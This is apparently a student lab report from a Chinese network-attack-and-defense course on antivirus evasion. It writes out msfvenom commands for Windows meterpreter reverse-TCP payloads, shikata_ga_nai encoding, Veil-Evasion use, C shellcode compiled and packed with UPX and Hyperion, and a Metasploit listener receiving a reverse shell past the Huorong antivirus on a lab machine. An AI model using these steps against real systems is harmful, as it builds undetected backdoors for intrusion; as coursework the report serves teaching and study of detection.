学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告

学号20192411 2021-2022-2 《网络与系统攻防技术》实验3实验报告

1.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  • 先用msfvenom直接生成可执行文件,检出率为52/69,接着以此为参照。

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 -f exe > 2411.exe
    

  • 接着用msf编码器进行一次编码:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.110 LPORT=443 -f exe > 2411_1.exe
    

    检出率仍是52/69:

    再用msf编码器编码10次:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.110 LPORT=443 -f exe > 2411_10.exe
    

    检出率还是没有变化:

    原因:AV厂商研究的是编码器本身,只需要针对msf编码器生成的exe的固定特征检测,就可以检测出来。

  • 尝试用msfvenom生成jar文件:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 -f jar > 2411_jar.jar
    

  • 尝试用msfvenom生成php文件:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.110 PORT=443 x> 2411_php.php
    

2.1.2 veil,加壳工具

  • 首先安装veil:

    apt -y install veil  # 问题1
    
  • 进入veil

    选择工具1Evasion:

    use 1
    

    再用list查看Available Payloads:

    list
    

    然后选择7:

    use 7
    

    接着就设置IP和端口,然后生成文件:

    set LHOST 192.168.56.107
    set LPORT 443
    generate
    

    根据生成的文件所在的路径就可以找到exe文件,再检测exe文件的检出率:

2.1.3 使用C + shellcode编程

  • 用如下指令生成一个c语言格式的Shellcode数组:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=443 -f c
    

    新建一个c文件,将刚刚生成的数组写入到程序:

    vi 2411_Shellcode.c
    

    编译生成的c文件:

    i686-w64-mingw32-g++ 2411_Shellcode.c -o 2411_Shellcode.exe
    

    检测刚刚编译得到的exe文件:

2.2 通过组合应用各种技术实现恶意代码免杀

  • 结合C + shellcode编程、压缩壳、加密壳

    生成一段C语言shellcode(上一步骤生成的是在旧的kali系统,故这里再生成一个):

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.107 LPORT=443 -f c 
    

    将生成的C语言shellcode放入新建的c文件中:

    再编译生成的c文件:

    i686-w64-mingw32-g++ 20192411shellcode.c -o 20192411shellcode.exe
    

    给编译生成的20192411shellcode.exe加压缩壳:

    upx 20192411shellcode.exe -o 20192411shellcode_upx.exe
    

    将加完压缩壳的20192411shellcode_upx.exe复制到/usr/share/windows-resources/hyperion中,然后给它再加一个加密壳:

    wine hyperion.exe -v 20192411shellcode_upx.exe 20192411shellcode_final.exe
    

    放到主机中,让火绒对其所在文件夹进行查杀,火绒没有发现:

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 生成raw文件:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 9 -b '\x00' lhost=192.168.56.107 lport=443 -f raw -o 20192411.raw
    
  • 将生成的raw文件放到主机shellcode_launcher所在文件夹下,主机带有火绒,版本为5.0.66.3:

  • kali中进入msfconsole控制台,设置相应参数,开启监听:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.56.107
    set LPORT 443
    exploit
    
  • 在20192411.raw所在文件夹下打开cmd,执行:

    shellcode_launcher.exe -i 20192411.raw
    
  • 监听端监听到连接,接着成功实现反弹:

3.问题及解决方案

  • 问题1:veil安装时提示wine32没有可安装候选

  • 问题1解决方案:更新一下软件库再安装。这期间因为源的问题和网络问题,折磨了很久🤡

    apt update;apt upgrade
    
  • 问题2:veil安装时报错:

    [ERROR] Failed to run (wine) Python pip pefile … Exit code:1
    
  • 问题2解决方案:先是搜索到Veil安装失败的解决方法 | cnlnn的垃圾堆 | 好好学习,天天向上,但多次尝试之后还是不能解决。然后尝试卸载重新安装,但仍然还是有这个报错,最后只好无奈地继续🤡(因为貌似还能正常用)

  • 问题3:虚拟机空间不足

  • 问题3解决方案:本来打算扩容但是由于对应盘空间不够了🤡所以就重新装了一个kali。

4.问题回答

  • 杀软是如何检测出恶意代码的?

    • 基于特征码

      特征码可以唯一标识恶意代码,将扫描到的特征码与病毒特征库对比,如果发现吻合则判定为恶意代码。

    • 启发式恶意软件

      通过比较系统上层信息和取自内核的系统状态来识别隐藏的文件、进程及注册表信息,还有一些研究工作通过监控系统特定资源来识别恶意代码,可以在未知的新病毒、现有威胁的修改版本以及已知的恶意软件样本中找出可疑特征。

    • 基于行为特征

      通过提取恶意代码执行的行为作为特征进行检测,可避免仅针对代码的混淆方法的影响,不过无法抵御等价行为替换等行为层混淆方法的干扰。

  • 免杀是做什么?

    让病毒、木马躲避或者绕过杀毒软件查杀的技术。

  • 免杀的基本方法有哪些?

    • 开源免杀:指在有病毒、木马源代码的前提下,通过修改源代码进行免杀。

    • 手工免杀:指在仅有病毒、木马的可执行文件(.exe)(PE文件)的情况下进行免杀。

      • 文件免杀和查杀:在不运行程序的前提下使用杀毒软件进行对该程序的扫描,所得结果。

      • 内存的免杀和查杀:判断的方法1》运行后,用杀毒软件的内存查杀功能。

      • 用OD载入,用杀毒软件的内存查杀功能。

5.学习感悟、思考等

veil,谢谢你,因为有你,温暖了我一整天🤡

这次实验是免杀原理与实践,说白了就是为了让目标文件能够避免杀软的查杀。前期是用单一的方法来避免杀软,但可以发现检出率都没有非常大的降低;之后尝试组合方法,效果比单一方法好很多。

这次实验也算是上次实验的拓展延续。上次实验生成后门程序,但是在关闭杀软的情况下进行回弹连接等操作的。但实际情况我们需要避免杀软的查杀,这就需要这次实验的这些知识和实践。

最后,感谢王老师课上的讲解和刘老师的视频以及同学的帮助!

参考资料

posted @ 2022-04-10 11:53  20192411  阅读(100)  评论(0编辑  收藏  举报